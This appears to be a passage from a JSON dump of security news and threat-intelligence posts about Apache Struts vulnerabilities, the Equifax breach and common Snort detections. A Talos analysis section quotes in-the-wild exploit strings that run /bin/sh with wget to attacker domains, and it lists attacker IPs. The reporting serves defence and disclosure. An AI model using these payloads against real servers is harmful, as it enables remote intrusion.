your credit today 2:15pm ET for example, you'd get PIN 0908171415.\n> \n> \u2014 Tony Webster (@webster) [September 9, 2017](<https://twitter.com/webster/status/906346071210778625>)\n\nThe company said in an update to its site that going forward consumers placing a security freeze will be given a randomly generated PIN. Users who previously froze their credit will have to mail the company directly to change it, however.\n\n> Equifax's security freeze system is now generating random PINs. If you already got one though, you have to MAIL them to change it. Fail. [pic.twitter.com/fOrtvgkmGd](<https://t.co/fOrtvgkmGd>)\n> \n> \u2014 Tony Webster (@webster) [September 11, 2017](<https://twitter.com/webster/status/907242378829889537>)\n\nThe company on Monday also apologized for lengthy call center wait times and stressed that users who sign up for TrustedID Premier, the company\u2019s ID theft protection and credit monitoring service, will not be charged as soon as the year runs out.\n\nThe company also took a moment on Monday to reiterate that signing up for the free credit monitoring service doesn\u2019t waive a consumer\u2019s right to take legal action.\n\nThe company clarified its TrustedID Premier policy on Friday afternoon after it was pressed repeated by consumers and politicians alike. One politician in particular, Eric Schneiderman, New York\u2019s Attorney General, opened a formal investigation into the breach on Friday, calling out the company\u2019s arbitration clause policy.\n\nAs expected multiple lawsuits have been filed against the company in wake of the breach.

The weakness is caused by the way Struts deserializes untrusted data,\u201d the company wrote in [a technical write-up](<https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement>) on the vulnerability published on Tuesday in coordination with the release of a patch by Apache Software Foundation (ASF).\n\n\u201cThis is as serious as it gets; if remote attackers are allowed to exploit the newly identified vulnerability it can critically damage thousands of enterprises,\u201d said Oege de Moor, CEO and founder of Semmle.\n\nAffected developers are urged to [upgrade to Apache Struts version 2.5.13](<https://struts.apache.org/announce.html#a20170905>).\n\nThe ASF said there is no workaround available for the vulnerability ([CVE-2017-9805](<https://struts.apache.org/docs/s2-052.html>)) in Struts, an open-source framework for developing web applications in the Java programming language.\n\n\u201cThe best option (sans an upgrade) is to remove the Struts REST plugin when not used or limit it to server normal pages and JSONs only,\u201d the ASF wrote in a [security bulletin issued Tuesday](<https://struts.apache.org/docs/s2-052.html>).\n\nSemmle cites estimates the vulnerability could impact 65 percent of the Fortune 100 companies that use web applications built with the Struts framework.\n\n\u201cOrganizations like Lockheed Martin, the IRS, Citigroup, Vodafone, Virgin Atlantic, Reader\u2019s Digest, Office Depot, and Showtime are known to have developed applications using the framework. This illustrates how widespread the risk is,\u201d Semmle researcher Bas van Schaik wrote Tuesday, citing estimates by analysts at the software developer research firm RedMonk.\n\nMultiple similar vulnerabilities have been reported tied to Struts. Earlier this year, attackers were exploiting a critical Apache Struts vulnerability on Windows servers and dropping Cerber ransomware on the machines.\n\n[In March](<https://threatpost.com/attacks-heating-up-against-apache-struts-2-vulnerability/124183/>), public attacks and scans looking for exposed Apache webservers were reportedly on the rise after a vulnerability ([CVE-2017-5638](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638>)) in the Struts 2 web application framework was [patched](<https://cwiki.apache.org/confluence/display/WW/S2-045>) and proof-of-concept exploit code was introduced into Metasploit.\n\nSemmle said this most recent vulnerability is caused by the way Struts deserializes untrusted data. Deserialization is the processes of taking structured data from one format and rebuilding it into an object. The processes can be tweaked for malicious intent and has been used in a host of attack scenarios including denial-of-service, access control and remote code execution attacks.\n\nThe remote code execution attack Semmle identified is possible when using the Struts REST plugin with the XStream handler to facilitate XML payloads. XStream is a Java library used to serialize objects to XML (or JSON) and back again.\n\n\u201cLgtm (Semmle\u2019s open-source [code analysis tool](<https://lgtm.com/>)) identifies alerts in code using queries written in a specially-designed language: QL. One of the many queries for Java detects potentially unsafe deserialization of user-controlled data. The query identifies situations in which unsanitized data is deserialized into a Java object. This includes data that comes from an HTTP request or from any other socket connection,\u201d Semmle said in a [second technical analysis of the vulnerability](<https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement>) posted Tuesday.\n\nData contained in one of the arguments (toObject) should be considered \u201ctainted\u201d and \u201cunder the control of a remote user and should not be trusted.\u201d This query detects common ways through which user-controlled data flows to a deserialization method, researchers said. \u201cHowever, some projects use a slightly different approach to receive remote user input,\u201d they said.\n\nSemmle said it has developed a \u201csimple\u201d working exploit for this vulnerability but currently has no plans to disclose it.\n\n\u201cThere is no suggestion that an exploit is publicly available, but it is likely that one will soon be,\u201d van Schaik wrote in a blog post.\n", "cvss3": {}, "published": "2017-09-05T14:10:54", "type": "threatpost", "title": "Patch Released for Critical Apache Struts Bug", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2017-9805"], "modified": "2017-09-05T18:44:40", "id": "THREATPOST:7DFB677F72D6258B3CDEE746C764E29E", "href": "https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-06-28T05:48:46", "description": "A critical remote code-execution vulnerability in Apache Struts 2, the popular open-source framework for developing web applications in the Java programming language, is threatening a wide range of applications, even when no additional plugins have been enabled. Successful exploitation could lead to full endpoint and eventually network compromise, according to researchers \u2013 who said that the flaw is more dangerous than the similar vulnerability used to compromise Equifax last year.\n\nA [working exploit](<https://threatpost.com/poc-code-surfaces-to-exploit-apache-struts-2-vulnerability/136921/>) surfaced within a day of its disclosure.\n\nThe vulnerability ([CVE-2018-11776](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11776>)) was [patched](<https://cwiki.apache.org/confluence/display/WW/S2-057>) by the Apache Software Foundation yesterday and affects all supported versions of Struts 2: Users of Struts 2.3 should upgrade to 2.3.35; users of Struts 2.5 need to upgrade to 2.5.17. They should do so as soon as possible, given that bad actors are likely already working on exploits, according to the Semmle research team\u2019s Man Yue Mo, who uncovered the flaw.\n\n\u201cThis vulnerability affects commonly-used endpoints of Struts, which are likely to be exposed, opening up an attack vector to malicious hackers,\u201d he said in a [posting](<https://semmle.com/news/apache-struts-CVE-2018-11776>) on Wednesday. \u201cOn top of that, the weakness is related to the Struts Object-Graph Navigation Language (OGNL) language, which hackers are very familiar with, and are known to have been exploited in the past.\u201d\n\n[OGNL](<https://commons.apache.org/proper/commons-ognl/>) is a powerful, domain-specific language that is used to customize Struts\u2019 behavior.\n\n\u201cOn the whole, this is more critical than the highly critical Struts RCE vulnerability that the Semmle Security Research Team discovered and announced last September,\u201d said Yue Mo, referring to the infamous vulns (CVE-2017-9805) that hackers used to compromise Equifax last year, which led to the lifting of [personal details of 147 million consumers](<https://threatpost.com/equi-facts-equifax-clarifies-the-numbers-for-its-massive-breach/131797/>).\n\nTim Mackey, technology evangelist at Synopsys, told Threatpost that this is due to the fact that it affects a wider swath of the Struts architecture.\n\n\u201cIn the case of CVE-2018-11776, the root cause [is] a lack of input validation on the URL passed to the Struts framework,\u201d he explained. \u201cThe prior [Struts] vulnerabilities were all in code within a single functional area of the Struts code. This meant that developers familiar with that functional area could quickly identify and resolve issues without introducing new functional behaviors. CVE-2018-11776 operates at a far deeper level within the code, which in turns requires a deeper understanding of not only the Struts code itself, but the various libraries used by Struts. It is this level of understanding which is of greatest concern \u2013 and this concern relates to any library framework.\u201d\n\n## Anatomy of the Flaw\n\nThe vulnerability is caused by insufficient validation of untrusted user data in the core of the Struts framework, according to the team\u2019s findings.\n\n\u201cAttackers can attack vulnerable applications by injecting their own namespace as a parameter in an HTTP request,\u201d they explained. \u201cThe value of that parameter is insufficiently validated by the Struts framework, and can be any OGNL string.\u201d\n\nBecause the issue affects the core of Struts, there are at least two separate attack vectors \u2013 and potentially many more.\n\nIn the first attack scenario, three Struts result types are unsafe when used without a namespace, as defined in either in the Struts configuration file or in Java code if the Struts Convention plugin is used. These are the redirect action, which redirects the visitor to a different URL; action chaining, which is a method to chain multiple actions into a defined sequence or workflow; and postback result, which renders the current request parameters as a form which immediately submits a postback to the specified destination chain or postback.\n\nThe researchers explained: \u201cAn example of a struts.xml configuration that is potentially vulnerable: the &lt;action \u2026&gt; tag does not have a namespace attribute and contains a result of type redirectAction. If you use the Struts Convention plugin, you will also have to look for actions and results that are configured using Java code.\u201d\n\nThe second attack vector has to do with the fact that Struts supports page templates inside &lt;result&gt; tags in the Struts configuration: \u201cThe use of URL tags in such pages is potentially unsafe if the template is referred to from an &lt;action&gt; tag that does not provide a namespace attribute (or specifies a wildcard namespace),\u201d the researchers said. \u201cYour application is vulnerable if the template contains an &lt;s:url \u2026&gt; tag without an action or value attribute.\u201d\n\nResearchers noted that for an exploit for either of the known vectors to be successful, an application must have the alwaysSelectFullNamespace flag set to \u201ctrue\u201d in the Struts configuration \u2013 a default state if the application uses the popular Struts Convention plugin. Also, the application\u2019s actions must be configured without specifying a namespace, or with a wildcard namespace (e.g. \u201c/*\u201d).\n\n\u201cThis applies to actions and namespaces specified in the Struts configuration file (e.g. &lt;action namespace=\u201dmain\u201d&gt;), but also to actions and namespaces specified in Java code if you are using the Struts Convention plugin,\u201d they explained.\n\nThat said, they also cautioned that other attack vectors may emerge that apply to different configurations.\n\n\u201cWhether or not a Struts application is vulnerable to remote code execution largely depends on the exact configuration and architecture of the application,\u201d the firm said. \u201cNote that even if an application is currently not vulnerable, an inadvertent change to a Struts configuration file may render the application vulnerable in the future. You are therefore strongly advised to upgrade your Struts components, even if you believe your configuration not to be vulnerable right now.\u201d\n\nThis is a critical point, according to Mackey. \u201cValidating the input to a function requires a clear definition of what is acceptable,\u201d he said. \u201cIt equally requires that any functions available for public use document how they use the data passed to them. Absent the contract such definitions and documentation form, it\u2019s difficult to determine if the code is operating correctly or not. This contract becomes critical when patches to libraries are issued as its unrealistic to assume that all patches are free from behavioral changes. Modern software is increasingly complex and identifying how data passes through it should be a priority for all software development teams.\u201d\n\nPavel Avgustinov, vice president of QL Engineering at Semmle, laid out what\u2019s at stake in a media statement: \u201cCritical remote code-execution vulnerabilities like the [one that affected Equifax](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>) and the one we announced [this week] are incredibly dangerous for several reasons: Struts is used for publicly-accessible customer-facing websites, vulnerable systems are easily identified, and the flaw is easy to exploit,\u201d he said. \u201cA hacker can find their way in within minutes, and exfiltrate data or stage further attacks from the compromised system. It\u2019s crucially important to update affected systems immediately; to wait is to take an irresponsible risk.\u201d\n", "cvss3": {}, "published": "2018-08-23T16:46:57", "type": "threatpost", "title": "Apache Struts 2 Flaw Uncovered: \u2018More Critical Than Equifax Bug\u2019", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-9805", "CVE-2018-11776"], "modified": "2018-08-23T16:46:57", "id": "THREATPOST:D5150098043DAE7CDF2E31618C33F5D2", "href": "https://threatpost.com/apache-struts-2-flaw-uncovered-more-critical-than-equifax-bug/136850/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2018-10-06T22:53:10", "description": "Equifax said the culprit behind [this summer\u2019s massive breach of 143 million Americans](<https://threatpost.com/equifax-says-breach-affects-143-million-americans/127880/>) was indeed CVE-2017-5638, an Apache Struts vulnerability patched back in March.\n\nThe bug was widely assumed by experts to be the \u201cU.S. website application vulnerability\u201d implicated by the company last Thursday, especially after an Apache spokeswoman [told Reuters](<https://www.reuters.com/article/us-equifax-cyber/criticism-of-equifax-data-breach-response-mounts-shares-tumble-idUSKCN1BJ1NF>) on Friday that it appeared the consumer credit reporting agency hadn\u2019t applied patches for flaws discovered earlier this year.\n\nOn Wednesday company specified the flaw in a statement [posted to its site](<https://www.equifaxsecurity2017.com/>) and stressed it was continuing to work alongside law enforcement to investigate the incident.\n\n> \u201cEquifax has been intensely investigating the scope of the intrusion with the assistance of a leading, independent cybersecurity firm to determine what information was accessed and who has been impacted.

We continue to work with law enforcement as part of our criminal investigation, and have shared indicators of compromise with law enforcement.\u201d\n\nUntil the news broke on Wednesday there was still mounting confusion over which Struts vulnerability attackers used.\n\nRen\u00e9 Gielen, vice president of the Apache Struts Project Management Committee (PMC) at the Apache Software Foundation, [wrote in open letter over the weekend](<https://threatpost.com/apache-foundation-refutes-involvement-in-equifax-breach/127910/>) that attackers either used an unknown Struts zero day or an earlier announced vulnerability. A separate remote code execution bug, CVE-2017-9805, was fixed in Struts [last Tuesday](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>) but Gielen said the Apache PMC would have known about it if it was being exploited in July.\n\nAn internal report last week from equity research firm Baird said a Struts vulnerability was behind the breach as well. The analyst who penned the report failed to specify which vulnerability and neglected to state how he arrived at that conclusion however.\n\nJeff Williams, chief technology officer of Contrast Security, wrote last Saturday that CVE-2017-5638 was likely to blame for the breach.\n\n\u201cThe first vulnerability from March seems much more likely because it\u2019s easier to exploit and much better known. It also fits the timeline better, since it was released months before Equifax was attacked in July,\u201d Williams wrote, adding on Thursday that he was familiar with several large organizations which took months to fix the bug.\n\n\u201cThe process of rewriting, retesting, and redeploying can take months. I just visited one of the largest telecom providers where this effort took more than four months and millions of dollars. Without runtime protection in place, they have to do this every time a new library vulnerability comes out,\u201d Williams said.\n\nThe vulnerability, a flaw in the Jakarta Multipart parser upload function in Apache, allowed an attacker to make a maliciously crafted request to an Apache webserver. The vulnerability, which first surfaced on Chinese forums before it was discovered by researchers with Cisco Talos, [was patched back in March](<https://threatpost.com/attacks-heating-up-against-apache-struts-2-vulnerability/124183/>) but proof of concept exploit code quickly found its way into Metasploit. Public scans and attacks spiked immediately following disclosure of the vulnerability and at least one campaign was found [installing Cerber ransomware](<https://threatpost.com/apache-struts-2-exploits-installing-cerber-ransomware/124844/>) on vulnerable servers.\n\nFamed cryptographer Bruce Schneier, CTO of IBM Resilient, [weighed in](<https://www.schneier.com/blog/archives/2017/09/on_the_equifax_.html>) on the Equifax fiasco on Wednesday and like IoT issues as of late [have necessitated](<https://threatpost.com/legislation-proposed-to-secure-connected-iot-devices/127152/>), suggested the only solution to preventing breaches like this from happening again is government intervention.\n\n\u201cBy regulating the security practices of companies that store our data, and fining companies that fail to comply, governments can raise the cost of insecurity high enough that security becomes a cheaper alternative,\u201d Schneier wrote, \u201cThey can do the same thing by giving individuals affected by these breaches the ability to sue successfully, citing the exposure of personal data itself as a harm.\u201d\n\nFittingly, as if to get the ball rolling, on Wednesday U.S. Sen. Mark Warner (D-VA) asked the Federal Trade Commission to look into the breach and the company\u2019s security practices, namely whether Equifax has adequate cybersecurity safeguards in place for the amount of personally identifiable information it deals with.\n\n\u201cThe volume and sensitivity of the data potentially involved in this breach raises serious questions about whether firms like Equifax adequately protect the enormous amounts of sensitive data they gather and commercialize,\u201d [Warner wrote](<https://www.scribd.com/document/358810691/Sen-Warner-Asks-FTC-to-Probe-Equifax>), \u201cIn ways similar to the financial service industry\u2019s systemic risk designation, I fear that firms like Equifax may illustrate a set of institutions whose activities, left unchecked, can significantly threaten the economic security of Americans.\u201d\n\nThe letter came a few days after members of the U.S. Senate Finance Committee, including Sen. Orrin Hatch (R-UT) and Ron Wyden (D-Ore.) sent another letter to Equifax CEO Richard Smith asking for additional information about the breach.\n\n\u201cThe scope and scale of this breach appears to make it one of the largest on record, and the sensitivity of the information compromised may make it the most costly to taxpayers and consumers,\u201d the senators wrote in a [letter](<https://www.finance.senate.gov/download/91117-equifax-release>) on Monday.\n\nWhile the FTC doesn\u2019t typically comment on ongoing investigations the Commission did confirm Thursday afternoon because of the \u201cintense public interest\u201d and \u201cpotential impact of this matter,\u201d it was looking into the breach.\n\nEquifax said Americans and an undisclosed number of Canadian and United Kingdom residents were affected by the breach but security news site [KrebsonSecurity.com](<https://krebsonsecurity.com/2017/09/ayuda-help-equifax-has-my-data/>) said this week Argentinans may be implicated as well. Brian Krebs, who authors the site, claims he was contacted by Alex Holden, who runs the firm Hold Security, earlier this week. Two of Holden\u2019s employees, native Argentinans, discovered an Equifax portal for employees in Argentina that included their names, email addresses, and DNI \u2013 the Argentinian equivalent of a Social Security Number.\n\nThe site, according to Holden \u201cwas wide open, protected by perhaps the most easy-to-guess password combination ever: \u201cadmin/admin.\u201d Krebs claims the portal was disabled upon notifying Equifax\u2019s attorney and that the company is looking into how it may have been left unsecured.\n", "cvss3": {}, "published": "2017-09-14T16:00:34", "type": "threatpost", "title": "Equifax Confirms March Struts Vulnerability Behind Breach", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2017-9805"], "modified": "2017-09-15T13:01:13", "id": "THREATPOST:9E84C27A33C751DE6ECC9BAAF9C0F19B", "href": "https://threatpost.com/equifax-confirms-march-struts-vulnerability-behind-breach/127975/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-01-23T05:28:33", "description": "Oracle released fixes for a handful of recently patched Apache Struts 2 vulnerabilities, including a critical remote code execution vulnerability (CVE-2017-9805) that could let an attacker take control of an affected system, late last week.\n\nThe Apache Software Foundation patched the RCE vulnerability, which affects servers running apps built using the Struts framework and its REST communication plugin, [earlier this month](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>).\n\nScores of Oracle products, roughly two dozen in total, are affected by the vulnerability.

This new vulnerability, identified as CVE-2017-9805, manifests due to the way the REST plugin uses XStreamHandler with an instance of XStream for deserialization without any type filtering. As a result, a remote, unauthenticated attacker could achieve remote code execution on a host running a vulnerable version of Apache Struts.<br /><br />This isn't the only vulnerability that has been recently identified in Apache Struts. <a href=\"http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html\">Earlier this year</a>,&nbsp;Talos&nbsp;responded&nbsp;to&nbsp;a&nbsp;zero-day&nbsp;vulnerability that&nbsp;was under active exploitation in&nbsp;the&nbsp;wild. Talos has observed exploitation activity targeting CVE-2017-9805 in a way that is similar to how CVE-2017-5638 was exploited back in March 2017.<br /><br /><a name='more'></a><br /><h3 id=\"h.yjfcx7oxvccx\">Details</h3>Immediately after the reports surfaced related to this exploit, Talos began researching how it operated and began work to develop coverage to prevent successful exploitation. This was achieved and we immediately began seeing active exploitation in the wild. Thus far, exploitation appears to be primarily scanning activity, with outbound requests that appear to be identifying systems that are potentially vulnerable. Below is a sample of the type of HTTP requests we have been observing.<br /><blockquote class=\"tr_bq\">&lt;string&gt;/bin/sh&lt;/string&gt;&lt;string&gt;-c&lt;/string&gt;&lt;string&gt;wget -qO /dev/null http://wildkind[.]ru:8082/?vulnerablesite&lt;/string&gt;</blockquote>This would initiate a wget request that would write the contents of the HTTP response to /dev/null. This indicates it is purely a scanning activity that identifies to the remote server which websites are potentially vulnerable to this attack. This is also a strong possibility since it includes the compromised website in the URL. There was one other small variation that was conducting a similar request to the same website.<br /><blockquote class=\"tr_bq\">&lt;string&gt;/bin/sh&lt;/string&gt;&lt;string&gt;-c&lt;/string&gt;&lt;string&gt;wget -qO /dev/null http://wildkind[.]ru:8082/?`echo ...vulnerablesite...`&lt;/string&gt;</blockquote>During our research we found that the majority of the activity was trying to POST to the path of /struts2-rest-showcase/orders/3. Additionally most of the exploitation attempts are sending the data to wildkind[.]ru, with a decent amount of the requests originating from the IP address associated with wildkind[.]ru, 188.120.246[.]215.<br /><br /><table align=\"center\" cellpadding=\"0\" cellspacing=\"0\" class=\"tr-caption-container\" style=\"margin-left: auto; margin-right: auto; text-align: center;\"><tbody><tr><td style=\"text-align: center;\"><a href=\"https://2.bp.blogspot.com/-43pwp2mOpHE/WbHJQlk9djI/AAAAAAAABTo/cc3B9_qI3U4-sU6F-Eq3Rf2MsdlzqJB8wCLcBGAs/s1600/image2.png\" imageanchor=\"1\" style=\"margin-left: auto; margin-right: auto;\"><img border=\"0\" data-original-height=\"867\" data-original-width=\"1600\" height=\"346\" src=\"https://2.bp.blogspot.com/-43pwp2mOpHE/WbHJQlk9djI/AAAAAAAABTo/cc3B9_qI3U4-sU6F-Eq3Rf2MsdlzqJB8wCLcBGAs/s640/image2.png\" width=\"640\" /></a></td></tr><tr><td class=\"tr-caption\" style=\"text-align: center;\">Example of in the wild exploitation</td></tr></tbody></table>Other exploitation attempts have been identified where Talos believes another threat actor appears to be exploiting the vulnerability for a different purpose. An example of the web requests found in the exploitation attempts can be found below.<br /><blockquote class=\"tr_bq\">&lt;string&gt;wget&lt;/string&gt;&lt;string&gt;hxxp://st2buzgajl.alifuzz[.]com/052&lt;/string&gt;</blockquote>Unfortunately, we were unable to retrieve the potentially malicious file that was being served at this particular location. If the previous Struts vulnerability is any indicator, the payloads could vary widely and encompass threats such as DDoS bots, spam bots, and various other malicious payloads.<br /><br /><h3 id=\"h.1teoyjf4qh2n\">IOCs</h3>IP Addresses Observed: <br /><ul><li>188.120.246[.]215</li><li>101.37.175[.]165</li><li>162.158.182[.]26</li><li>162.158.111[.]235</li><li>141.101.76[.]226</li><li>141.101.105[.]240</li></ul>Domains Contacted:<br /><ul><li>wildkind[.]ru</li><li>st2buzgajl.alifuzz[.]com</li></ul>Commonly Used Path:<br /><ul><li>/struts2-rest-showcase/orders/3</li></ul><h3 id=\"h.yv6ldyfuky10\">Mitigation</h3>Apache has released a new version of Struts that resolves this issue. If you believe that you have a potentially vulnerable version of Apache struts there are two options: upgrade to Struts 2.5.13 / Struts 2.3.34 or remove the REST plugin if it's not actively being used. Instructions to achieve this are provided as part of the <a href=\"https://cwiki.apache.org/confluence/display/WW/S2-052\">security bulletin</a> and should be reviewed and tested before applying in a production environment. In the event it's not possible to upgrade or remove the REST plugin, limiting it to server normal pages and JSONs may help limit the risk the compromise.<br /><h3 id=\"h.dp04v9qgtelp\">Conclusion</h3>This is the latest in a long line of vulnerabilities that are exposing servers to potential exploitation. In today's threat landscape a lot of attention is paid to endpoint systems being compromised, and with good reason, as it accounts for the majority of the malicious activity we observe on a daily basis. However, that does not imply that patching of servers should not be an extremely high priority. These types of systems, if compromised, can potentially expose critical data and systems to adversaries.<br /><br />The vulnerability is yet another example of how quickly miscreants will move to take advantage of these types of issues. Within 48 hours of disclosure we were seeing systems activity exploiting the vulnerability. To their credit the researchers disclosed the vulnerability responsibly and a patch was available before disclosure occurred. However, with money at stake bad guys worked quickly to reverse engineer the issue and successfully develop exploit code to take advantage of it. In today's reality you no longer have weeks or months to respond to these type of vulnerabilities, it's now down to days or hours and every minute counts. Ensure you have protections in place or patches applied to help prevent your enterprise from being impacted.<br /><h3 id=\"h.myaej86w3pvi\">Coverage</h3>Talos has released the following Snort rule to address this vulnerability.

With the boom of cryptocurrency, we saw a transition from ransomware to [cryptocurrency miners](<https://blog.talosintelligence.com/2018/01/malicious-xmr-mining.html>). Talos researchers identified APT campaigns including [VPNFilter](<https://blog.talosintelligence.com/2018/05/VPNFilter.html>), predominantly affecting small business and home office networking equipment, as well as [Olympic Destroyer](<https://blog.talosintelligence.com/2018/02/olympic-destroyer.html>), apparently designed to disrupt the Winter Olympics. \n \nBut these headline-generating attacks were only a small part of the day-to-day protection provided by security systems. In this post, we'll review some of the findings created by investigating the most frequently triggered SNORT\u24c7 rules as reported by [Cisco Meraki](<https://meraki.cisco.com/>) systems. These rules protected our customers from some of the most common attacks that, even though they aren't as widely known, could be just as disruptive as something like Olympic Destroyer. Snort is a free, open-source network intrusion prevention system. Cisco Talos provides new rule updates to Snort every week to protect against software vulnerabilities and the latest malware. \n \n \n\n\n### Top 5 Rules\n\n \nSnort rules trigger on network behavior ranging from attempts to probe networked systems, attempts at exploiting systems, to detecting known malicious command and control traffic. Each rules detects specific network activity, and each rules has a unique identifier. This identifier is comprised of three parts. The Generator ID (GID), the rule ID (SID) and revision number. The GID identifies what part of Snort generates the event. For example, \"1\" indicates an event has been generated from the text rules subsystem. The SID uniquely identifies the rule itself. You can search for information on SIDs via the search tool on the [Snort website](<https://www.snort.org/>). The revision number is the version of the rule. Be sure to use the latest revision of any rule. \n \nSnort rules are classified into different classes based on the type of activity detected with the most commonly reported class type being \"policy-violation\" followed by \"trojan-activity\" and \"attempted-admin.\" Some less frequently reported class types such as \"attempted user\" and \"web-application-attack\" are particularly interesting in the context of detecting malicious inbound and outbound network traffic. \n \nCisco Meraki-managed devices protect clients networks and give us an overview of the wider threat environment. These are the five most triggered rules within policy, in reverse order. \n \n\n\n#### No. 5: 1:43687:2 \"suspicious .top dns query\"\n\n \nThe .top top-level domain extension is a generic top level domain and has been observed in malware campaigns such as the [Angler exploit kit](<https://blog.talosintelligence.com/2016/03/angler-slips-hook.html>) and the [Necurs botnet](<https://blog.talosintelligence.com/2018/01/the-many-tentacles-of-necurs-botnet.html>). This top-level domain can be bought as cheap as 1 USD and is the reason it is very popular with cybercriminals for their malware and phishing campaigns. \n \nThis signature triggers on DNS lookups for .top domains. Such a case doesn\u2019t necessarily mean that such a lookup is malicious in nature, but it can be a useful indicator for suspicious activity on a network. A sharp increase in this rule triggering on a network should be investigated as to the cause, especially if a single device is responsible for a large proportion of these triggers. \n \n\n\n#### No. 4: 1:41978:5 \"Microsoft Windows SMB remote code execution attempt\"\n\n \nIn May 2017, a [vulnerability](<https://www.us-cert.gov/ncas/current-activity/2017/03/16/Microsoft-SMBv1-Vulnerability>) in SMBv1 was published that could allow remote attackers to execute arbitrary code via crafted packets. This led to the outbreak of the network worms [Wannacry](<https://blog.talosintelligence.com/2017/05/wannacry.html>) and [Nyetya](<https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html>) in 2017. Although it did not make our top five rules in 2017, it seems there was still a lot scanning or attempts to exploit this vulnerability in 2018. This shows the importance of network defenses and patching management programs as often as possible. \n \nOrganizations should ensure that devices running Windows are fully patched. Additionally, they should have SMB ports 139 and 445 blocked from all externally accessible hosts. \n \n\n\n#### No. 3: 1:39867:4 \"Suspicious .tk dns query\"\n\n \nThe .tk top-level domain is owned by the South Pacific territory of Tokelau. The domain registry allows for the registration of domains without payment, which leads to the .tk top level domain being one of the most prolific in terms of the number of domain names registered. However, this free registration leads to .tk domains frequently being abused by attackers. \n \nThis rule triggers on DNS lookups for .tk domains. Such a case doesn't necessarily mean that such a lookup is malicious in nature, but it can be a useful indicator for suspicious activity on a network. A sharp increase in this rule triggering on a network should be investigated as to the cause, especially if a single device is responsible for a large proportion of these triggers. \n \nOther, similar rules detecting DNS lookups to other rarely used top-level domains such as .bit, .pw and .top also made into our list of top 20 most triggered rules. \n \n\n\n#### No. 2: 1:35030:1 &amp; 1:23493:6 \"Win.Trojan.Zeus variant outbound connection\"\n\n \nHistorically, one of the most high-profile pieces of malware is [Zeus/Zbot](<https://talosintelligence.com/zeus_trojan>), a notorious trojan that has been employed by botnet operators around the world to steal banking credentials and other personal data, participate in click-fraud schemes, and likely numerous other criminal enterprises. It is the engine behind notorious botnets such as Kneber, which made headlines worldwide. \n \nIn the beginning of 2018, Talos observed a [Zeus variant](<https://blog.talosintelligence.com/2018/01/cfm-zeus-variant.html>) that was launched using the official website of Ukraine-based accounting software developer Crystal Finance Millennium (CFM). \n \nThis vector is similar to the attack outlined by Talos in the Nyetya and companion MeDoc blog post. Ukrainian authorities and businesses were alerted by local security firm (ISSP) that another accounting software maker had been compromised. CFM's website was being used to distribute malware that was retrieved by malware downloaders attached to messages associated with a concurrent spam campaign. \n \nEver since the source code of Zeus leaked in 2011, we have seen various variants appear such as [Zeus Panda](<https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html>) which poisoned Google Search results in order to spread. \n \n\n\n#### No. 1: 1:46237:1 \"PUA-OTHER Cryptocurrency Miner outbound connection attempt\" &amp; \"1:45549:4 PUA-OTHER XMRig cryptocurrency mining pool connection attempt\"\n\n \nOver the past year, we have seen a seismic shift in the threat landscape with the explosive growth of malicious cryptocurrency mining. Cisco Talos created various rules throughout the year to combat Cryptocurrency mining threats and this rule deployed in early 2018, proved to be the number 1 showing the magnitude of attacks this rule detected and protected against. This threat has spread across the internet like wildfire and is being delivered through multiple vectors including email, web, and active exploitation. It is no surprise that these two combined rules are the most often observed triggered Snort rule in 2018. \n \nCryptocurrency mining can use up a considerable amount of computing power and energy that would otherwise be incredibly valuable to any organization. \n \nFor an overview of all related snort rules and full details of all the methods and technologies Cisco Talos uses to thwart cryptocurrency mining, download the Talos whitepaper [here](<https://www.talosintelligence.com/resources/59>). \n \n\n\n \n\n\n[](<https://2.bp.blogspot.com/-XcaLfnec00Q/XFsp6eXg_rI/AAAAAAAAACI/fxssE2sbuesqNKpMzg1Lbqnod5iU9u4oQCLcBGAs/s1600/012419-Snort-Sigs-Blog-outbound-connection-attempt.png>)\n\n \n\n\n### INBOUND and OUTBOUND\n\n \nNetwork traffic can cross an IDS from external to internal (inbound), from the internal to external (outbound) interfaces or depending on the architecture of your environment the traffic can avoid being filtered by a firewall or inspected by an IPS/IDS device; this will generally be your local/internal traffic on the same layer2 environment. An alert may be triggered and logged for any of these scenarios depending on the rulesets in place and the configuration of your sensors. \n \n \nOutbound rules were triggered during 2018 much more frequently than internal, which in turn, were more frequent than inbound with ratios of approximately 6.9 to 1. The profile of the alerts are different for each direction. Inbound alerts are likely to detect traffic that can be attributed to attacks on various server-side applications such as web applications or databases. Outbound alerts are more likely to contain detection of outgoing traffic caused by malware infected endpoints. \n \nLooking at these data sets in more detail gives us the following: \n \n\n\n[](<https://4.bp.blogspot.com/-p8YZlzLMQXE/XFsqAliaQcI/AAAAAAAAACM/XhgffiU6hUYdyd21OCDF_QJAEpBKYYn1gCLcBGAs/s1600/012419-Snort-Sigs-Blog-inbound-signature-types.png>)\n\n \nWhile trojan activity was rule type we saw the most of in 2018, making up 42.5 percent of all alerts, we can now see \"Server-Apache\" taking the lead followed by \"OS-Windows\" as a close second. \n \nThe \"Server-Apache\" class type covers Apache related attacks which in this case consisted mainly of 1:41818 and 1:41819 detecting the Jakarta Multipart parser vulnerability in Apache Struts ([CVE-2017-5638](<https://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html>)). Later in 2017, a second Apache Struts vulnerability was discovered under CVE-2017-9805, making this rule type the most observed one for 2018 